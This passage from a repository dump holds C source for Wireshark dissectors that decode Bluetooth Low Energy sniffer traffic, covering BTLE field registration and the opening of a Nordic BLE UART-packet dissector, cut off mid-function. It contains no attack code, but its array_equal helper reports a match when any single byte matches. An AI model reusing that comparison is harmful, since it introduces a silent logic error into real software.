0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_32b_uuid,\n\t\t\t{\"32 bit uuid\", \"btle.32b_uuid\",\n\t\t\tFT_UINT32, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_16b_uuid,\n\t\t\t{\"16 bit uuid\", \"btle.16b_uuid\",\n\t\t\tFT_UINT16, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_short_local_name],\n\t\t\t{\"local name (short)\", \"btle.adv_data.short_local_name\",\n\t\t\tFT_STRING, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_com_local_name],\n\t\t\t{\"local name\", \"btle.adv_data.complete_local_name\",\n\t\t\tFT_STRING, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_tx_power],\n\t\t\t{\"TX power level\", \"btle.adv_data.tx_power\",\n\t\t\tFT_INT8, BASE_DEC, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_dev_class],\n\t\t\t{\"device class\", \"btle.adv_data.device_class\",\n\t\t\tFT_UINT24, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_pair_hash_c],\n\t\t\t{\"simple hash\", \"btle.adv_data.simple_hash\",\n\t\t\tFT_UINT16, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_pair_rand_r],\n\t\t\t{\"simple randomizer\", \"btle.adv_data.simple_randomizer\",\n\t\t\tFT_UINT16, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_dev_id],\n\t\t\t{\"TK value\", \"btle.adv_data.tk_value\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_sec_man_oob_flags],\n\t\t\t{\"OOB flags\", \"btle.adv_data.oob_flags\",\n\t\t\tFT_UINT8, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_conn_int_range],\n\t\t\t{\"conn interval range\", \"btle.adv_data.conn_interval_range\",\n\t\t\tFT_UINT32, BASE_HEX, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_16b_service_uuids],\n\t\t\t{\"16 b service uuids\", \"btle.adv_data.16b_service_uuids\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_128b_service_uuids],\n\t\t\t{\"128 b service uuids\", \"btle.adv_data.128b_service_uuids\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_service_data],\n\t\t\t{\"service data\", \"btle.adv_data.service_data\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_service_data_32b],\n\t\t\t{\"service data for 32 bit UUID.\", \"btle.adv_data.service_data_32b\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_service_data_128b],\n\t\t\t{\"service data for 128 bit UUID\", \"btle.adv_data.service_data_128b\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_service_data_value,\n\t\t\t{\"service data value\", \"btle.adv_data.service_data.value\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_pub_target_addr],\n\t\t\t{\"public target address\", \"btle.adv_data.public_target_address\",\n\t\t\tFT_ETHER, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_rand_target_addr],\n\t\t\t{\"random target address\", \"btle.adv_data.random_target_address\",\n\t\t\tFT_ETHER, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_appearance],\n\t\t\t{\"appearance\", \"btle.adv_data.appearance\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_attrs[index_hf_btle_adv_data_adv_int],\n\t\t\t{\"advertising interval\", \"btle.adv_data.advertising_interval\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_adv_int_ms,\n\t\t\t{\"advertising interval (ms)\", \"btle.adv_data.advertising_interval_ms\",\n\t\t\tFT_FLOAT, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_manufacturer,\n\t\t\t{\"manufacturer specific data\", \"btle.adv_data.manufacturer_data\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_unknown,\n\t\t\t{\"Unknown advertising data attribute\", \"btle.adv_data.unknown\",\n\t\t\tFT_BYTES, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_flag_le_limited_discoverable,\n\t\t\t{\"LE limited discoverable\", \"btle.adv_data.flag.le_limited_discoverable\",\n\t\t\tFT_BOOLEAN, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_flag_le_general_discoverable,\n\t\t\t{\"LE general discoverable\", \"btle.adv_data.flag.le_general_discoverable\",\n\t\t\tFT_BOOLEAN, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_flag_br_edr_not_supported,\n\t\t\t{\"BR/EDR not supported\", \"btle.adv_data.flag.br_edr_not_supported\",\n\t\t\tFT_BOOLEAN, BASE_NONE, NULL, 0x0,\n\t\t\tNULL, HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_flag_simultaneous_le_br_edr_controller,\n\t\t\t{\"Simultaneous LE and BR/EDR (Controller)\", \"btle.adv_data.flag.simultaneous_le_br_edr_controller\",\n\t\t\tFT_BOOLEAN, BASE_NONE, NULL, 0x0,\n\t\t\t\"Simultaneous LE and BR/EDR to Same Device Capable (Controller)\", HFILL }\n\t\t},\n\t\t{ &hf_btle_adv_data_flag_simultaneous_le_br_edr_host,\n\t\t\t{\"Simultaneous LE and BR/EDR (Host)\", \"btle.adv_data.flag.simultaneous_le_br_edr_host\",\n\t\t\tFT_BOOLEAN, BASE_NONE, NULL, 0x0,\n\t\t\t\"Simultaneous LE and BR/EDR to Same Device Capable (Host)\", HFILL }\n\t\t}\n\n\t\t// #endif\n\t};\n\n\t/* protocol subtree arrays */\n\tstatic gint *ett[] = {\n\t\t&ett_btle,\n\t\t&ett_btle_pkthdr,\n\t\t&ett_btle_connect,\n\t\t&ett_btle_data,\n\t\t&ett_ll_enc_req,\n\t\t&ett_ll_enc_rsp,\n\t\t&ett_ll_control,\n\t\t&ett_ll_control_data,\n\t\t&ett_feature_set,\n\t\t&ett_channel_map,\n\t\t&ett_adv_data,\n\t\t&ett_adv_data_attr,\n\t\t&ett_adv_data_flags,\n\t\t&ett_uuids\n\t};\n\t\n\t// static ei_register_info ei[] = {\n\t\t// { &ei_btle_packet_too_short, { \"btle.length.short\", PI_MALFORMED, PI_ERROR, \"Packet buffer is too short or reported length is too long.\", EXPFILL }},\n\t\t// { &ei_btle_packet_too_long, { \"btle.length.long\", PI_MALFORMED, PI_ERROR, \"Packet buffer is too long or reported length is too short.\", EXPFILL }},\n\t// };\n\t\n\t//expert_module_t* expert_ip;\n\t/* register the protocol name and description */\n\tproto_btle = proto_register_protocol(\n\t\t\"Bluetooth Low Energy\",\t/* full name */\n\t\t\"BTLE\",\t\t\t/* short name */\n\t\t\"btle\"\t\t\t/* abbreviation (e.g. for filters) */\n\t\t);\n\n\tregister_dissector(\"btle\", dissect_btle, proto_btle);\n\t\n\t//expert_ip = expert_register_protocol(proto_btle);\n\t//expert_register_field_array(expert_ip, ei, array_length(ei));\n\n\t/* register the header fields and subtrees used */\n\tproto_register_field_array(proto_btle, hf, array_length(hf));\n\tproto_register_subtree_array(ett, array_length(ett));\n}\n\nvoid\nproto_reg_handoff_btle(void)\n{\n\tstatic gboolean inited = FALSE;\n\n\tif (!inited) {\n\t\t// dissector_handle_t btle_handle;\n\n\t\t// btle_handle = new_create_dissector_handle(dissect_btle, proto_btle);\n\t\t// dissector_add(\"ppi.dlt\", 147, btle_handle);\n\n\t\tbtl2cap_handle = find_dissector(\"btl2cap\");\n\n\t\tinited = TRUE;\n\t}\n}\n"
  },
  {
    "path": "src/protocols/BLE/Adafruit_BLESniffer/wireshark_dissector_source/packet-nordic_ble.c",
    "content": "/* packet-nordic_ble.c\n * Routines for nordic ble sniffer dissection\n * Copyright 201x, YOUR_NAME <YOUR_EMAIL_ADDRESS>\n * Nordic Semiconductor\n *\n *\n * $Id$\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n */\n \n#include \"config.h\"\n\n#include <glib.h>\n\n#include <epan/packet.h>\n#include <epan/prefs.h>\n#include <epan/expert.h>\n#include <wiretap/pcap-encap.h>\n\n/* definition to expand macro then apply to pragma message */\n#define VALUE_TO_STRING(x) #x\n#define VALUE(x) VALUE_TO_STRING(x)\n#define VAR_NAME_VALUE(var) #var \"\t\t\t=\"  VALUE(var)\n\n#pragma message(VAR_NAME_VALUE(VERSION_MAJOR))\n// #pragma message(VERSION_MAJOR)\n#pragma message(VAR_NAME_VALUE(VERSION_MINOR))\n// #pragma message(VERSION_MINOR)\n\n#define IS_VERSION_1_10 (VERSION_MAJOR == 1 && VERSION_MINOR == 10)\n#define IS_VERSION_1_11 (VERSION_MAJOR == 1 && VERSION_MINOR == 11)\n\n\n/* Size of various UART Packet header fields */\n#define BEEF_LENGTH_BYTES                   (2)\n#define HEADER_LEN_LENGTH_BYTES             (1)\n#define PACKET_LEN_LENGTH_BYTES             (1)\n#define PROTOVER_LENGTH_BYTES               (1)\n#define COUNTER_LENGTH_BYTES                (2)\n#define ID_LENGTH_BYTES                     (1)\n\n#define BLE_HEADER_LEN_LENGTH_BYTES         (1)\n#define FLAGS_LENGTH_BYTES                  (1)\n#define CHANNEL_LENGTH_BYTES                (1)\n#define RSSI_LENGTH_BYTES                   (1)\n#define EVENT_COUNTER_LENGTH_BYTES          (2)\n#define TIMESTAMP_LENGTH_BYTES              (4)\n\n\n#define BOARD_ID_INDEX                      (0)\n#define BOARD_ID_LENGTH                     (1)\n\n/* Define the index of the various fields in the UART_PACKET header */\n#define UART_PACKET_HEADER_LEN_INDEX        (0)\n#define UART_PACKET_PACKET_LEN_INDEX        (UART_PACKET_HEADER_LEN_INDEX       + HEADER_LEN_LENGTH_BYTES)\n#define UART_PACKET_PROTOVER_INDEX          (UART_PACKET_PACKET_LEN_INDEX       + PACKET_LEN_LENGTH_BYTES)\n#define UART_PACKET_COUNTER_INDEX           (UART_PACKET_PROTOVER_INDEX         + PROTOVER_LENGTH_BYTES)\n#define UART_PACKET_ID_INDEX                (UART_PACKET_COUNTER_INDEX          + COUNTER_LENGTH_BYTES)\n\n#define UART_PACKET_BLE_HEADER_LEN_INDEX    (UART_PACKET_ID_INDEX               + ID_LENGTH_BYTES)\n#define UART_PACKET_FLAGS_INDEX             (UART_PACKET_BLE_HEADER_LEN_INDEX   + BLE_HEADER_LEN_LENGTH_BYTES)\n#define UART_PACKET_CHANNEL_INDEX           (UART_PACKET_FLAGS_INDEX            + FLAGS_LENGTH_BYTES)\n#define UART_PACKET_RSSI_INDEX              (UART_PACKET_CHANNEL_INDEX          + CHANNEL_LENGTH_BYTES)\n#define UART_PACKET_EVENT_COUNTER_INDEX     (UART_PACKET_RSSI_INDEX             + RSSI_LENGTH_BYTES)\n#define UART_PACKET_TIMESTAMP_INDEX         (UART_PACKET_EVENT_COUNTER_INDEX    + EVENT_COUNTER_LENGTH_BYTES)\n#define UART_PACKET_ACCESS_ADDRESS_INDEX    (UART_PACKET_TIMESTAMP_INDEX        + TIMESTAMP_LENGTH_BYTES)\n\n#define INDEX_OF_LENGTH_FIELD_IN_BLE_PACKET (5)\n#define INDEX_OF_LENGTH_FIELD_IN_EVENT_PACKET (UART_PACKET_TIMESTAMP_INDEX + TIMESTAMP_LENGTH_BYTES + INDEX_OF_LENGTH_FIELD_IN_BLE_PACKET)\n\n#define UART_HEADER_LEN                     (6)\n#define BLE_HEADER_LEN                      (10)\n#define PROTOVER                            (1)\n\n#define US_PER_BYTE\t\t\t                                (8)\n#define NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH\t\t\t(10) // Preamble (1) + AA (4) + Header (1) + Length (1) + CRC (3) \t\t\t= 10 Bytes\n#define BLE_METADATA_TRANFER_TIME_US\t\t\t\t\t    (US_PER_BYTE * NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH)\n\n\n#define UART_HEADER_LENGTH (UART_PACKET_ACCESS_ADDRESS_INDEX)\n#define BLE_MIN_PACKET_LENGTH (NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH)\n#define BLE_MAX_PACKET_LENGTH (50)\n#define MIN_TOTAL_LENGTH (BLE_HEADER_LEN + BLE_MIN_PACKET_LENGTH)\n#define MAX_TOTAL_LENGTH (UART_HEADER_LENGTH + BLE_MAX_PACKET_LENGTH)\n#define BLE_LENGTH_POS (UART_HEADER_LENGTH + 5)\n\n/*\n* LEGACY DEFINES\n* Defines used in the 0.9.7 version of the dissector\n* Used to dissect packages with the old format\n*/\n#define _0_9_7_nordic_ble_MIN_LENGTH (8)\n#define _0_9_7_UART_HEADER_LENGTH (17)\n#define _0_9_7_BLE_EMPTY_PACKET_LENGTH (9)\n#define _0_9_7_BLE_MAX_PACKET_LENGTH (50)\n#define _0_9_7_MIN_TOTAL_LENGTH (_0_9_7_UART_HEADER_LENGTH + _0_9_7_BLE_EMPTY_PACKET_LENGTH)\n#define _0_9_7_MAX_TOTAL_LENGTH (_0_9_7_UART_HEADER_LENGTH + _0_9_7_BLE_MAX_PACKET_LENGTH)\n#define _0_9_7_BLE_LENGTH_POS (_0_9_7_UART_HEADER_LENGTH + 5)\n\n#define _0_9_7_ID_POS \t\t\t\t(2)\n#define _0_9_7_PACKET_COUNTER_POS \t(3)\n#define _0_9_7_LENGTH_POS \t\t\t(7)\n#define _0_9_7_FLAGS_POS \t\t\t(8)\n#define _0_9_7_CHANNEL_POS \t\t(9)\n#define _0_9_7_RSSI_POS \t\t\t(10)\n#define _0_9_7_EVENT_COUNTER_POS \t(11)\n#define _0_9_7_TIMESTAMP_POS \t\t(13)\n#define _0_9_7_US_PER_BYTE\t\t\t(8)\n#define _0_9_7_NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH\t\t\t(10) // Preamble (1) + AA (4) + Header (1) + Length (1) + CRC (3) = 10 Bytes\n#define _0_9_7_BLE_METADATA_TRANFER_TIME_US\t\t\t\t\t(_0_9_7_US_PER_BYTE * _0_9_7_NOF_BLE_BYTES_NOT_INCLUDED_IN_BLE_LENGTH)\n\n\n\n\n/* Forward declaration that is needed below if using the\n * proto_reg_handoff_nordic_ble function as a callback for when protocol\n * preferences get changed. */\nvoid proto_reg_handoff_nordic_ble(void);\n\n/* Initialize the protocol and registered fields */\nstatic int proto_nordic_ble \t\t\t  = -1;\n// static int hf_nordic_ble_FIELDABBREV \t\t\t= -1;\n\n/* Global sample preference (\"controls\" display of numbers) */\n// static gboolean gPREF_HEX \t\t\t= FALSE;\n/* Global sample port preference - real port preferences should generally\n * default to 0 unless there is an IANA-registered (or equivalent) port for your\n * protocol. */\nstatic guint udp_port \t\t\t= 32954;\nstatic guint user_dlt_num \t\t\t= 55; // corresponds to pcap network type value 157, user type 10.\n\n\nstatic gboolean legacy_mode = FALSE;\n\n\n#ifndef TRANSPARENT\n/* Initialize the subtree pointers */\nstatic gint ett_nordic_ble \t\t\t= -1;\nstatic gint ett_flags \t\t\t    = -1;\n\n/* Declared static as they need to be transferred between mode handlers and main dissector */\nstatic gboolean bad_length, bad_mic;\n\nstatic int hf_nordic_ble_board_id \t\t\t= -1;\nstatic int hf_nordic_ble_header_length \t\t\t= -1;\nstatic int hf_nordic_ble_payload_length \t\t\t= -1;\nstatic int hf_nordic_ble_protocol_version \t\t\t= -1;\nstatic int hf_nordic_ble_packet_counter \t\t\t= -1;\nstatic int hf_nordic_ble_id \t\t\t= -1;\nstatic int hf_nordic_ble_ble_header_length \t\t\t= -1;\nstatic int hf_nordic_ble_flags \t\t\t= -1;\nstatic int hf_nordic_ble_crcok \t\t\t= -1;\nstatic int hf_nordic_ble_encrypted \t\t\t= -1;\nstatic int hf_nordic_ble_micok \t\t\t= -1;\nstatic int hf_nordic_ble_direction \t\t\t= -1;\nstatic int hf_nordic_ble_channel \t\t\t= -1;\nstatic int hf_nordic_ble_rssi \t\t\t= -1;\nstatic int hf_nordic_ble_event_counter \t\t\t= -1;\nstatic int hf_nordic_ble_delta_time \t\t\t= -1;\nstatic int hf_nordic_ble_delta_time_ss \t\t\t= -1;\n\n\n/* subtree pointers specific to 0.9.7 version */\nstatic int hf_nordic_ble_length = -1;\nstatic int hf_nordic_ble_sync_word = -1;\nstatic int hf_nordic_ble_payload = -1;\n\n\n#if IS_VERSION_1_11\nstatic expert_field ei_nordic_ble_bad_crc \t\t\t= EI_INIT;\nstatic expert_field ei_nordic_ble_bad_mic \t\t\t= EI_INIT;\nstatic expert_field ei_nordic_ble_bad_length \t\t\t= EI_INIT;\n#endif\n\nstatic guint8 src_addr_to_use[6] \t\t\t= {0,0,0,0,0,0};\nstatic guint8 src_addr_zero[6] \t\t\t= {0,0,0,0,0,0};\n\nstatic const true_false_string direction_tfs \t\t\t=\n{\n\t\"Master -> Slave\",\n\t\"Slave -> Master\"\n};\nstatic const true_false_string crc_tfs \t\t\t=\n{\n\t\"OK\",\n\t\"Incorrect\"\n};\nstatic const true_false_string encrypted_tfs \t\t\t=\n{\n\t\"Yes\",\n\t\"No\"\n};\nstatic const true_false_string mic_tfs \t\t\t=\n{\n\t\"OK\",\n\t\"Incorrect\"\n};\n\n#endif\n\n\n/* functions hiding versioning in dissectors */\nstatic guint8\nget_id_index(void)\n{\n  return (legacy_mode ? _0_9_7_ID_POS : UART_PACKET_ID_INDEX);\n}\n\nstatic guint8\nget_pc_index(void)\n{\n  return (legacy_mode ? _0_9_7_PACKET_COUNTER_POS : UART_PACKET_COUNTER_INDEX);\n}\n\nstatic guint8\nget_flags_index(void)\n{\n  return (legacy_mode ? _0_9_7_FLAGS_POS : UART_PACKET_FLAGS_INDEX);\n}\n\nstatic guint8\nget_ch_index(void)\n{\n  return (legacy_mode ? _0_9_7_CHANNEL_POS : UART_PACKET_CHANNEL_INDEX);\n}\n\nstatic guint8\nget_rssi_index(void)\n{\n  return (legacy_mode ? _0_9_7_RSSI_POS : UART_PACKET_RSSI_INDEX);\n}\n\nstatic guint8\nget_ec_index(void)\n{\n  return (legacy_mode ? _0_9_7_EVENT_COUNTER_POS : UART_PACKET_EVENT_COUNTER_INDEX);\n}\n\nstatic guint8\nget_td_index(void)\n{\n  return (legacy_mode ? _0_9_7_TIMESTAMP_POS : UART_PACKET_TIMESTAMP_INDEX);\n}\n\nstatic guint8\nget_header_length(void)\n{\n  return (legacy_mode ? _0_9_7_UART_HEADER_LENGTH : UART_HEADER_LENGTH);\n}\n\nstatic guint8\nget_packet_length_index(void)\n{\n  return (legacy_mode ? _0_9_7_LENGTH_POS : UART_PACKET_PACKET_LEN_INDEX);\n}\n\nstatic guint8\nget_total_len_min(void)\n{\n  return (legacy_mode ? _0_9_7_MIN_TOTAL_LENGTH : MIN_TOTAL_LENGTH);\n}\n\nstatic guint8\nget_total_len_max(void)\n{\n  return (legacy_mode ? _0_9_7_MAX_TOTAL_LENGTH : MAX_TOTAL_LENGTH);\n}\n\nstatic guint8\nget_metadata_transfer_time(void)\n{\n  return (legacy_mode ? _0_9_7_BLE_METADATA_TRANFER_TIME_US : BLE_METADATA_TRANFER_TIME_US);\n}\n\nstatic guint8\nget_us_per_byte(void)\n{\n  return (legacy_mode ? _0_9_7_US_PER_BYTE : US_PER_BYTE);\n}\n\n\nstatic guint32 adv_aa \t\t\t= 0x8e89bed6;\n\n\n/* next dissector */\nstatic dissector_handle_t btle_dissector_handle \t\t\t= NULL;\nstatic dissector_handle_t debug_handle \t\t\t= NULL;\n\n\nstatic gboolean\narray_equal(const void* buf1, const void* buf2, int len)\n{\n\tgboolean return_value \t\t\t= FALSE;\n\tint i;\n\tfor (i \t\t\t= 0; i < len; i++)\n\t{\n\t\tif (((guint8*)buf1)[i] \t\t\t== ((guint8*)buf2)[i])\n\t\t{\n\t\t\treturn_value \t\t\t= TRUE;\n\t\t}\n\t}\n\treturn return_value;\n}\n\nstatic void array_copy(void* dst, const void* src, int len)\n{\n\tint i;\n\tfor (i \t\t\t= 0; i < len; i++)\n\t{\n\t\t((guint8*)dst)[i] \t\t\t= ((guint8*)src)[i];\n\t}\n}\n\n\nstatic tvbuff_t *\ndissect_board_id_and_strip_it_from_tvb(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)\n{\n    proto_tree_add_item(tree, hf_nordic_ble_board_id, tvb, BOARD_ID_INDEX, BOARD_ID_LENGTH, ENC_BIG_ENDIAN);\n    return tvb_new_subset(tvb, BOARD_ID_LENGTH, -1, -1);\n}\n\nstatic gboolean\ndissect_lengths(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)\n{\n\tguint8 hlen, plen;\n\tproto_item* item;\n\tgboolean bad_length \t\t\t= FALSE;\n    \n  if (legacy_mode)\n  {\n    hlen = tvb_get_guint8(tvb, _0_9_7_LENGTH_POS);\n    plen = _0_9_7_nordic_ble_MIN_LENGTH;\n  }\n  else\n  {\n    hlen \t\t\t= tvb_get_guint8(tvb, UART_PACKET_HEADER_LEN_INDEX);\n    plen \t\t\t= tvb_get_guint8(tvb, UART_PACKET_PACKET_LEN_INDEX);\n  }\n  \n\tif ((hlen + plen) != tvb_length(tvb))\n\t{\n    if (!legacy_mode)\n    {\n      proto_tree_add_item(tree, hf_nordic_ble_header_length, tvb, UART_PACKET_HEADER_LEN_INDEX, 1, ENC_BIG_ENDIAN);\n\t\t}\n    \n    item = proto_tree_add_item(tree, hf_nordic_ble_payload_length, tvb, get_packet_length_index(), 1, ENC_BIG_ENDIAN);\n      \n    #if IS_VERSION_1_11\n        expert_add_info(pinfo, item, &ei_nordic_ble_bad_length);\n    #elif IS_VERSION_1_10\n        expert_add_info_format(pinfo, item, PI_MALFORMED, PI_ERROR, \"UART packet lengths do not match actual packet length.\");\n    #endif\n\t\tbad_length \t\t\t= TRUE;\n\t}\n\telse if ((hlen + plen) < get_total_len_min())\n\t{\n    if (!legacy_mode)\n    {\n      proto_tree_add_item(tree, hf_nordic_ble_header_length, tvb, UART_PACKET_HEADER_LEN_INDEX, 1, ENC_BIG_ENDIAN);\n\t\t}\n    \n    item = proto_tree_add_item(tree, hf_nordic_ble_payload_length, tvb, get_packet_length_index(), 1, ENC_BIG_ENDIAN);\n    \n\t\t#if IS_VERSION_1_11\n            expert_add_info(pinfo, item, &ei_nordic_ble_bad_length);\n\t\t#elif IS_VERSION_1_10\n            expert_add_info_format(pinfo, item, PI_MALFORMED, PI_ERROR, \"UART packet length is too small (likely corrupted).\");\n\t\t#endif\n\t\tbad_length \t\t\t= TRUE;\n\t}\n\telse if ((hlen + plen) > get_total_len_max())\n\t{\n    if (!legacy_mode)\n    {\n      proto_tree_add_item(tree, hf_nordic_ble_header_length, tvb, UART_PACKET_HEADER_LEN_INDEX, 1, ENC_BIG_ENDIAN);\n\t\t}\n    \n\t\titem = proto_tree_add_item(tree, hf_nordic_ble_payload_length, tvb, get_packet_length_index(), 1, ENC_BIG_ENDIAN);\n    \n\t\t#if IS_VERSION_1_11\n            expert_add_info(pinfo, item, &ei_nordic_ble_bad_length);\n\t\t#elif IS_VERSION_1_10\n            expert_add_info_format(pinfo, item, PI_MALFORMED, PI_ERROR, \"UART packet length is too large (likely corrupted).\");\n\t\t#endif\n\t\tbad_length \t\t\t= TRUE;\n\t}\n\treturn bad_length;\n}\n\n\nstatic void\ndissect_packet_counter(tvbuff_t *tvb, proto_tree *tree)\n{\n\tproto_tree_add_item(tree, hf_nordic_ble_packet_counter, tvb, get_pc_index(), 2, ENC_LITTLE_ENDIAN);\n}\n\nstatic void\ndissect_id(tvbuff_t *tvb, proto_tree *tree)\n{\n\tguint8 id;\n\tid \t\t\t= tvb_get_guint8(tvb, get_id_index());\n}\n\n\nstatic gboolean\ndissect_flags(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)\n{\n\tguint8 flags;\n\tgboolean crcok, dir, encrypted, micok;\n\tgboolean bad_length \t\t\t= FALSE;\n\tgboolean bad_mic \t\t\t= FALSE;\n\tgboolean bad_crc \t\t\t= FALSE;\n\tproto_item *flags_item, *item;\n\t\n\tflags \t\t\t= \ttvb_get_guint8(tvb, get_flags_index());\n\tcrcok \t\t\t= \t!!(flags & 1);\n\tdir \t\t\t= \t\t!!(flags & 2);\t\n\tencrypted \t\t= !!(flags & 4);\t\n\tmicok \t\t\t= \t!!(flags & 8);\t\n\t\n\tif (dir)\n\t{\n\t\tSET_ADDRESS(&pinfo->src, AT_STRINGZ, 7, \"Master\");\n\t\tSET_ADDRESS(&pinfo->dst, AT_STRINGZ, 6, \"Slave\");\n\t} \n\telse \n\t{\n\t\tSET_ADDRESS(&pinfo->src, AT_STRINGZ, 6, \"Slave\");\n\t\tSET_ADDRESS(&pinfo->dst, AT_STRINGZ, 7, \"Master\");\n\t}\t\n\t\n\n\tflags_item \t\t\t= proto_tree_add_item(tree, hf_nordic_ble_flags, tvb, get_flags_index(), 1, ENC_BIG_ENDIAN);\n\t//flags_tree \t\t\t= proto_item_add_subtree(flags_item, ett_flags);\n\tif (encrypted) // if encrypted, add MIC status\n\t{\n\t\titem \t\t\t= proto_tree_add_bits_item(tree, hf_nordic_ble_micok, tvb, get_flags_index()*8+4, 1, ENC_LITTLE_ENDIAN);\n\t\tif (!micok)\n\t\t{\n\t\t\t// /* MIC is bad */\n            #if IS_VERSION_1_11\n                expert_add_info(pinfo, item, &ei_nordic_ble_bad_mic);\n            #elif IS_VERSION_1_10\n                expert_add_info_format(pinfo, item, PI_CHECKSUM, PI_WARN, \"MIC is bad\");\n                expert_add_info_format(pinfo, item, PI_UNDECODED, PI_WARN, \"Decryption failed (wrong key?)\");\n            #endif\n\t\t\tbad_mic \t\t\t= TRUE;\n\t\t}\n\t}\n\tproto_tree_add_bits_item(tree, hf_nordic_ble_encrypted, tvb, get_flags_index()*8+5, 1, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_bits_item(tree, hf_nordic_ble_direction, tvb, get_flags_index()*8+6, 1, ENC_LITTLE_ENDIAN);\n\titem \t\t\t= proto_tree_add_bits_item(tree, hf_nordic_ble_crcok, tvb, get_flags_index()*8+7, 1, ENC_LITTLE_ENDIAN);\n\tif(!crcok)\n\t{\n\t\t/* CRC is bad */\n        #if IS_VERSION_1_11\n            expert_add_info(pinfo, item, &ei_nordic_ble_bad_crc);\n        #elif IS_VERSION_1_10\n            expert_add_info_format(pinfo, item, PI_MALFORMED, PI_ERROR, \"CRC is bad\");\n        #endif\n\t\tbad_crc\t\t\t=TRUE;\n\t}\n\treturn bad_mic;\n}\n\nstatic void\ndissect_channel(tvbuff_t *tvb, proto_tree *tree)\n{\n\t//guint8 channel;\n\t//channel \t\t\t= tvb_get_guint8(tvb, get_ch_index());\n\tproto_tree_add_item(tree, hf_nordic_ble_channel, tvb, get_ch_index(), 1, ENC_BIG_ENDIAN);\n}\n\nstatic void\ndissect_rssi(tvbuff_t *tvb, proto_tree *tree)\n{\n\tgint32 rssi;\n\trssi \t\t\t= 